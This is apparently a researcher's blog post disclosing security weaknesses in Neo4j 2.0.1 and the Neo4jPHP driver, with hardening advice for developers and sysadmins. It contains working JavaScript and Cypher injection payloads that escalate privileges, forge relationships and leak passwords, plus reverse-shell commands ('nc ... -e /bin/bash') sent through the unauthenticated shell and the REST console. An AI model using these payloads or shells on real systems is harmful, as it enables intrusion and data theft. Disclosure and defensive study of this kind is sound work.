Neo4j – “Enter the GraphDB”

Following interest for NoSQL (see MongoDB exploit :D), this time I wanted to check Neo4j, the famous Graph Database. As you can see on their blog http://blog.neo4j.org/, Neo4j is really active and updates come really often ! The v1 was released in 2010 and v2 in 2013 and I didn’t find any specific paper about security so it may be interesting… Don’t hesitate to correct me if I say something wrong !

Let’s read the manual !

I firstly downloaded the last stable version I found : neo4j-community-2.0.1. I didn’t install any plugin and began to look at the beast ! Neo4j is written in Java and provides a very beautiful web interface to create nodes, relations and graph stuff. It also provides a ‘remote shell’, it’s a jrmi interface that gives another type of access to your database.

It opens 4 ports, 7474 and 7373 respectively HTTP and HTTPS interface, it’s jetty-9.0.5 webserver. 1337 port, the jrmi interface that responds the 4th port (random) for neo4j-shell.

As any services it is possible to prevent remote access by binding it on localhost, but only for HTTP and HTTPS services…

On the other side, I didn’t find a way to bind 1337 ‘remote shell’ on localhost only, you can enable or disable it completely…

Then I looked for a way to authenticate and authorise connection on this ‘remote shell’ or on web interface, unfortunately it seems impossible without plugins…

Reading http://docs.neo4j.org/chunked/stable/security-server.html reveals that Neo4j warn a lot about security of their product.

For a sysadmin point of view, this mean you have to think and provide a secure environment for production as Neo4j come with a development environment configuration.

Moreover, remember that Neo4j technology is not the web server, REST api or shell access. It’s the graph database technology, the rest is bonus to help developpers to be more efficient.

As they announce, it’s a really good idea to use a web proxy (nginx for instance) to control access to the REST api. (Just use the good products to do their jobs !)

But anyway, let’s find the mentionned ‘Arbitrary code execution’ !

Traversal REST endpoints

In their warning about arbitrary code execution, they point us on Traversal REST endpoints. Again, in the documentation they warn : Briefly, Traversal REST requests can use two special parameters (prune_evaluator and return_filter) to lead the way traversal is done.

The point is this two parameters executes arbitrary Javascript ! So let’s imagine a developper who create a webapp that use REST to call Traversal with prune_evaluator or return_filter created from concatenation of user controlled parameter… Yep, we will get a nice SSJI but what could we do with this ?

Neo4j uses the nice Mozilla Java implementation of Javascript : Rhino ! Roughly, Rhino magically binds Java class to Javascript and for instance permit this beauty :

java.lang.Runtime.getRuntime().exec("nc 10.13.37.73 31337 -e /bin/bash");

But don’t worry, Neo4j realized it and patch it in 1.9.M02 according to ChangeLog

1.9.M02
-------
o Server now allows - under some specific circumstances - setting empty arrays as properties. Specifically, it is allowed if there is a pre-existing
 array property on the entity from which the server can infer the type of array to store.
o Traversal Javascript is now security sandboxed. It is possible to turn the sandbox off for the next two releases, for backwards compatibility.

So what could we really do with this SSJI or more precisely with which object could we play in this sandbox ? You only got a ‘position’ variable that is a Path object and a whitelist of class you could use. Nothing very important but let’s imagine (again) a worst case scenario…

POC Traversal REST SSJI exploitation

I did the test with neo4jphp but the concept stay the same in every drivers as it is a Neo4j feature.

Scenario

Imagine a (professional) social network where you can only ask to add contacts of your contacts.

You can also provide a keyword to search some contacts of contacts with a special skill.

You can only see secret informations of your accepted contact.

Characters

  • 8025 : Bob, the important person in this scenario
  • 8024 : Alice, the famous Bob’s friend
  • 8027 : Dummy, he adds everybody
  • 8028 : Admin, he has some privileges
  • 8026 : Eve, do you know her ?

Okay, you log in with Eve account :

Okay NSA powered here is your ID : 8026
You've got 1 friend !
Dummy's secret : I'm a CTF lover

You can provide a ‘skill’ parameter to look after new contacts with a specific skill where the code introduce a nice SSJI in the return_filter :

"position.length() == 2 && position.endNode().getProperty('Skill').equals('".$_GET['skill']."')"
skill=Crypto101

Okay NSA powered here is your ID : 8026
You've got 1 friend !
Dummy's secret : I'm a CTF lover
This contact's contact learnt Crypto101
8024 : alice33

Exploitation

Okay we have the obvious 1==1 injection that return every traversed nodes :

skill=Crypto101%27);1==1;//

Okay NSA powered here is your ID : 8026
You've got 1 friend !
Dummy's secret : I'm a CTF lover
This contact's contact learnt Crypto101');1==1;//
8026 : ever3ve
8027 : Dummy
8028 : Admin
8024 : alice33
8025 : bobB0ss

But you can do better, set/delete any properties for your node (or any nodes) :

skill=Crypto101%27);position.startNode().setProperty(%27Admin%27,true);1==1;//

Okay NSA powered here is your ID : 8026
You can administrate this platform !
You've got 1 friend !
Dummy's secret : I'm a CTF lover
This contact's contact learnt Crypto101');position.startNode().setProperty('Admin',true);1==1;//
8026 : ever3ve
8027 : Dummy
8028 : Admin
8024 : alice33
8025 : bobB0ss

Last but not least, you can create new relations ! As a traversal cover every paths (except if prune is set), the endNode() will become every nodes. We will first add a condition to find ‘bobB0ss’ node (note it is possible to blindly guess anything with classical .toString().charCodeAt(x)>y and dichotomy).

skill=Crypto101%27);position.endNode().toString().indexOf(%278025%27)>-1;//

Okay NSA powered here is your ID : 8026
You can administrate this platform !
You've got 1 friend !
Dummy's secret : I'm a CTF lover
This contact's contact learnt Crypto101');position.endNode().toString().indexOf('8025')>-1;//
8025 : bobB0ss

And now create a relation between Bob and Eve to stalk him !

skill=Crypto101%27);if(position.endNode().toString().indexOf(%278025%27)>-1){position.endNode().createRelationshipTo(position.startNode(),org.neo4j.graphdb.DynamicRelationshipType.withName(position.lastRelationship().getType().name()))};1==1//

Refresh and bingo !

Okay NSA powered here is your ID : 8026
You can administrate this platform !
You've got 2 friends !
Dummy's secret : I'm a CTF lover
Bob Kelso's secret : SSJI is bad :(

Traversal is a really cool feature, but even if neo4j’s guys securely sandboxed it, it’s still possible to exploit it if you use it without sanitization (as usual).

Neo4j 1337 remote shell for 31337

As I said before, the remote shell port can’t be binded to localhost, I don’t know why they don’t provide this feature (maybe I’m wrong) but it exposes the local ‘remote shell’ users to an obvious security breach.

Again, in a production environment, it’s also obvious that you will firewall it.

Moreover, there is no way to authenticate ‘remote shell’ access so just use neo4j-shell binary to get a neo4j shell on any host with open 1337 neo4j service.

agix@neptune /opt/neo4j-community-2.0.1/bin $ ./neo4j-shell -host 172.16.171.1
Welcome to the Neo4j Shell! Enter 'help' for a list of commands
NOTE: Remote Neo4j graph database service 'shell' at port 1337

neo4j-sh (?)$

Not exactly, there is a fake workaround. 1337 port serves to indicate what is the ‘real’ JRMI random port and IP. The ip address is locally resolved from hostname so if you change your /etc/hosts and point your hostname to 127.0.0.1, it would tell to the client to connect to ‘127.0.0.1:<random port>’ and the client would whine :

java.rmi.ConnectException: Connection refused to host: 127.0.0.1;

Anyway if you force 127.0.0.1 to become the Neo4j server ip address in neo4j-shell it would easily bypass this… Okay, we get a free neo4j-shell on the server, let’s see what we can do.

neo4j-sh (?)$ help
Available commands: alias begin cd commit create cypher dbinfo drop dump env eval export gsh help index jsh ls man match merge mknode mkrel mv optional paths profile pwd return rm rmnode rmrel rollback schema set start trav with
Use man <command> for info about each command.

Except classical neo4j administration, we can see an interesting word in security world, the infamous eval !

neo4j-sh (?)$ man eval

Pass JavaScript to be executed on the shell server, directly on the database.
There are predefined variables you can use:
 db : the GraphDatabaseService on the server
 out : output back to you (the shell client)
 current : current node or relationship you stand on

Usage:
 eval db.getReferenceNode().getProperty("name")

 eval
 > nodes = db.getAllNodes().iterator();
 > while ( nodes.hasNext() )
 > out.println( "" + nodes.next() );
 >
So either a one-liner or type 'eval' to enter multi-line mode, where an empty
line denotes the end.

Again we can directly write JavaScript and this time no sandbox exists ! o/

neo4j-sh (?)$ eval java.lang.Runtime.getRuntime().exec("nc 172.16.171.133 31337 -e /bin/bash")
java.lang.UNIXProcess@7fb4dbe7
neo4j-sh (?)$

Another command that provide JavaScript evaluator without sandbox is ‘trav’ :

neo4j-sh (?)$ mknode --cd && trav -e "java.lang.Runtime.getRuntime().exec('nc 172.16.171.1 31337 -e /bin/sh')"
Cannot return value java.lang.UNIXProcess@a4bfd22 from an evaluator

Here is a metasploit module to “exploit” it even if 1337 port responds with localhost ip. (This module will be improved before integration in metasploit framework).

So, for the shell fanboy, it’s really important to firewall this port !

Unfortunately it’s not enough, you have to know the shell interface is accessible from REST api too…

If you decide to let an access to the web interface, you really have to use a proxy, authenticate users and prevent access to the /db/manage/server/console/ URI.

Otherwise, this could happen :

curl http://172.16.171.133:7474/db/manage/server/console/ -H 'Content-Type: application/json' -d '{"command":"eval java.lang.Runtime.getRuntime().exec("nc 172.16.171.1 31337 -e /bin/bash")", "engine":"shell"}'

Cypher Query Language

Another important things with Neo4j is their beautiful assci-art’ed query language.

‘()’ represent a node, ‘-[]-‘ a relation which could be in a direction with arrow ‘-[]->’ ! Really beautiful ! I let you read the entire manual. You can see it’s evolved enough to introduce Cypher injections !

Before, let’s list some useful commands for an injector point of view.

  • node : an object which could be multiple nodes (start n = node(*))
  • labels : to get labels for a node : (return distinct labels(n))
  • relationship : an object which could be multiple relationships (start r=relationship(*))
  • type : to get type for a relationship : (return distinct type(r))
  • str : convert an object to string (could be path, node, relationship)
  • rels : to get relationships in a path
  • nodes : to get nodes in a path
  • count, length, substring : you already know it
  • SKIP x LIMIT y : after a RETURN it is possible to select only one of the nodes returned.
  • =~ : regex
  • // : comments !

UNION

As in our beloved SQL, Cypher has its UNION feature ! You must respect three things :

  • Same number of ‘objects’ returned in all MATCH
  • Same type for this objects
  • Same name for this objects

The first and second are quiete easy to satisfy, the third necessite source request access.

WITH

A newcomer, we will see later it could link multiple query like UNION.

“Play movie graph”

We will play with the ‘play movie graph’ provided in Neo4j tutorial, it’s just examples they surely could be improved and they are not realistic, we will see later in the REST api that cypher requests are possible but should use parameters (like prepared statements) so only drunk developpers will badly use it…

 MATCH (tom {name: "Tom Hanks"}) RETURN tom

To dump nodes

MATCH (tom {name :"foo"})--(n) RETURN STR(n) UNION MATCH (n) RETURN STR(n)//"}) RETURN tom

To dump relationships

MATCH (tom {name :"foo"})-[r]-(n) RETURN STR(r) UNION MATCH (a)-[r]-(n) RETURN STR(r)//"}) RETURN tom

Unfortunately, if program is waiting for node ‘tom’ you must return a node with almost the same properties.

MATCH (tom {name :"foo"})--(n) RETURN n UNION MATCH (n) RETURN n SKIP 0 LIMIT 1//"}) RETURN tom

Increase the SKIP value until you fall on a good node that MATCH the ‘tom’ properties.

No comments

There is a cleaner way to dump nodes and relationships wihtout using comments but you need to know the name of the returned object. I didn’t find a way to get it without printed errors, source code access (or pure guessing). You also need to satisfy the conditions to get a starting node.

MATCH (tom {name :"Tom Hanks"})--(n) WITH n LIMIT 1 MATCH (n) WHERE NOT (n {foo:"foo"})-->(n {foo:"foo"}) RETURN tom

This request will throw an error with object name :

tom not defined

Now, you can satisfy the request :

MATCH (tom {name :"Tom Hanks"})--(n) WITH n LIMIT 1 MATCH (tom) WHERE NOT (n {foo:"foo"})-->(n {foo:"foo"}) RETURN tom

Blind boolean-based

If you don’t want to break the original query (or if you can’t dump in other way) as SQL injection it is possible to use boolean-based blind injection.

MATCH (director:Person)-[:DIRECTED]->(movie) WHERE director.name = "Clint Eastwood" RETURN movie.title
MATCH (director:Person)-[:DIRECTED]->(movie) WHERE director.name = "foo" or "1"="1" RETURN movie.title

Cypher query language pays attention to the type in comparaison, 1<>”1″

MATCH (director:Person)-[:DIRECTED]->(movie) WHERE director.name = "foo" or "1"="2" RETURN movie.title

Again, you need to know one of the starting node name to dump the others.

MATCH (director:Person)-[:DIRECTED]->(movie) WHERE director.name = "foo" or str((movie)--())=~"[A-H].*" RETURN movie.title

You also can use SUBSTRING method (or both)

MATCH (director:Person)-[:DIRECTED]->(movie) WHERE director.name = "foo" or substring(str((movie)--()),1,1)>"A" RETURN movie.title

Here is a little view of potentials injections in Cypher query language.

Warning, I didn’t cover any ‘stacked’ query, but it’s possible to CREATE, DELETE or SET some parameters directly after a MATCH (or almost anything else using WITH).

REST time

Last thing to check is the REST API. It’s the best way to communicate with Neo4j and it provides a special Cypher URI if you want to use it.

Most of the language drivers use it and I didn’t take the time to look on every one (I just opened the path).

Here are just some details I found looking in REST API usage.

  • Be careful using ‘Legacy Indexing’ wich use Apache Lucene syntax.
  • In some cases (like relationship types), variable is used to create URI. ‘..’ and ‘.’ types name could lead to weird bugs (imagine some kind of traversal rest to get /db/manage/server/console/).
  • Neo4j uses codehaus jackson json parser, it could crash if you inject json chars in a ‘get Node by Label and Property’ request.
  • Be careful using Cypher REST URI, even if they provide a really good way to prevent injection !

A case doesn’t seem to be covered with the ‘prepared statement’ style.

For instance if you want to let user to provide the relation type parameter (name or depth), this request is impossible :

{
 "query":"MATCH (x {Pseudo: {pseudo}})-[r:{test}]-(friend) RETURN friend.`Real Name`",
 "params" :
  {
   "pseudo":"ever3ve",
   "test":"KNOWS"
  }
}

The only solution (if I didn’t miss something) is to concatenate the type name before doing REST call in a dangerous way…

Conclusion

And that’s all, for the moment… I didn’t find a real big open source project that used Neo4j to audit the code but Neo4j and graph databases are really specifics and a little bit complicated to understand, it’s not as easy as install WAMP using MySQL with PHPMyAdmin so it should prevent newbie developper to use it without thinking…

To sum up, for the developper, as usual, sanitize and think about strings you concatenate together…

For sysadmin, in production, prevent neo4j ports (7474, 7373, 1337) to be openned to the external network. It’s even better to desactivate remote shell (in config file) as it’s accessible directly from web interface (/webadmin/#/console/).

If you really need a remote access to the REST api, DO NOT bind neo4j on 0.0.0.0. Use a proxy instead and control the accesses as you want (basic auth, ip filtering…)

After speaking with Neo4j guys and as we can see on their blog, Neo4j tend to develop Cypher query language and prehaps will desactivate REST and shell access in the future (they removed Gremlin in v1.8)

Last Thing

As we can’t do an article with PHP keyword without trolling here is a nice bug in Neo4jPHP that have nothing to do with Neo4j development :

Label creation Cypher injection

To easily retrieve a node, it is important to add at least one label to it.

It exists a nice REST URI to do it but Neo4jPHP wrongly choose cypher REST URI to create it (it seems to be the only error (NSA had to pay this guy… (NSA word, check)). It results in a nice CQL injection if user control a label :

$a_label = $client->makeLabel('Articles');
$add_label = $client->makeLabel($_GET['label']);

$articles = $a_label->getNodes('Title',$_GET['title']);

if(count($articles)==1){
 $article = $articles[0];
}
else{
 $article = $client->makeNode();
 $article->setProperty('Title', $_GET['title'])
         ->setProperty('Description', $_GET['description'])
         ->save();
}

$article->addLabels(array($a_label,$add_label));
echo $article->getProperty('Description');

Here is a request and the REST call the driver does to change the labels :

title=First&label=security&description=My%20first%20Neo4j%20article

POST /db/data/cypher HTTP/1.1
Host: 172.16.171.133:7474
Accept: application/json;stream=true
Content-type: application/json
User-Agent: neo4jphp/0.1.0
X-Stream: true
Content-Length: 114

{"query":"START n=node({nodeId}) SET n:`Articles`:`security` RETURN labels(n) AS labels","params":{"nodeId":8138}}

Obvious injection !

title=First&label=security`%0aWITH%20n%20MATCH%20(s:Secret)%0aCREATE%20(m:Articles%20{%20Title%20:%20%27Injected%27,%20Description%20:%20s.Password})%20RETURN%20labels(n)%20as%20labels;//

This injection will create another article with s.Password as description.

I wrote a begining of patch https://github.com/agix/neo4jphp/tree/fix_labels_injection and the main contributor is aware. The latest version should be patched.